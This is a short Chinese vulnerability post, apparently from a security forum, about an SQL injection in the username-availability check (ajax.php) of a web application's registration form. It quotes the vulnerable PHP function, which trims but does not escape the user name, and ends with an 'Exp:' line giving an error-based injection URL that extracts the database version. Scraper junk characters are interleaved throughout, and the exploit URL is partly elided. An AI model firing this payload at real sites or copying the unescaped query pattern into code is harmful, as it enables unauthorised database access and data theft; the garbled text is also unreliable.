在注册的时候,输入用户名后台会验证用户名是否存在,当然是通过ajax去验证的也就是ajax.php。很多程序多会忽略这个导致存在SQL注入。) y F7 X/ i$ P
& `. z) E; j$ D2 w* p1 k
$ k* C0 m) z$ R @, }
2 C% x; m* J! J0 ^/ g- q* 验证会员数据 */ function check_user($field_name,$field_data) { //开始数据验证 $user_data[$field_name] = $field_data; $res = array('status'=>1,'info'=>'','data'=>''); //用于返回的数据 if(trim($user_data['user_name'])==''&&$field_name=='user_name') { $field_item['field_name'] = 'user_name'; $field_item['error'] = EMPTY_ERROR; $res['status'] = 0; $res['data'] = $field_item; return $res; } if($field_name=='user_name'&&$GLOBALS['db']->getOne("select count(*) from ".DB_PREFIX."user where user_name = '".trim($user_data['user_name'])."' and id <> ".intval($user_data['id']))>0)//这里的$user_data['user_name']的值就是用户名提交过来的值,这里只是过滤了空格。所有存在SQL注入漏洞。 { $field_item['field_name'] = 'user_name'; $field_item['error'] = EXIST_ERROR; $res['status'] = 0; $res['data'] = $field_item; return $res; }
+ C, a+ ?. b, p! [4 ? n5 P# x9 J$ `4 r
0 k% c, {3 i0 D7 V0 ?
: d. S2 X) S9 m& v/ q) S) e m. nExp:! ~+ i3 Q `1 O0 f! t2 d% u
3 u# V5 |- V6 Q1 i5 V# Y, `/ u; G( i
' B! S! b0 l- q( w$ v+ U
0 m7 _4 y! t4 Y- x
http://192.168.9.109/easethink_f ... ame&field_data=**/(select/**/1/**/from/**/(select/**/count(*),concat(version(),floor(rand(0)*2))x/**/from/**/information_schema.tables/**/group/**/by/**/x)a)%23
" ^* t# L# z& C- Y# n# D* r( g# t. X/ z( A3 r/ D! s8 b
|